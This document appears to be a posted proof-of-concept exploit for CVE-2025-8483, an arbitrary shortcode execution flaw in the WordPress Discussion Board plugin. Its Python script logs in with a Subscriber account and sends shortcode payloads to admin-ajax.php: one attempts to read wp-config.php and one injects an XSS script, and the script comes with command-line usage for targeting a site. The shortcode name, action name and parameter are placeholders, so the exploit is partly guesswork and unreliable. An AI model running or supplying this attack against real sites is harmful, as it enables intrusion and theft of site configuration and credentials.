CVE-2025-8483 WordPress Discussion Board插件任意短代码执行漏洞

import requests import sys # CVE-2025-8483 PoC - Arbitrary Shortcode Execution in Discussion Board Plugin # Requires Subscriber-level access (low-privilege authenticated user) def exploit_shortcode(target_url, username, password, proxy=None): """ Exploit arbitrary shortcode execution vulnerability """ session = requests.Session() proxies = {'http': proxy, 'https': proxy} if proxy else None # Step 1: Login to WordPress with low-privilege account (Subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } login_response = session.post(login_url, data=login_data, proxies=proxies) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful with Subscriber account") # Step 2: Identify the vulnerable endpoint and parameter # The vulnerable endpoint is typically an AJAX action handler ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 3: Execute arbitrary shortcode # Example: Read wp-config.php content using shortcode exploit_payloads = [ # Read sensitive file via shortcode "[shortcode_name]wp-config.php[/shortcode_name]", # XSS payload via shortcode "[shortcode_name]<script>alert('XSS')</script>[/shortcode_name]", # Plugin-specific shortcodes can be chained ] for payload in exploit_payloads: exploit_data = { 'action': 'discussion_board_action', # Example action name 'shortcode_param': payload # Vulnerable parameter } response = session.post(ajax_url, data=exploit_data, proxies=proxies) if response.status_code == 200: print(f"[+] Payload sent: {payload}") print(f"[+] Response: {response.text[:500]}") return True if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_shortcode(target, user, pwd)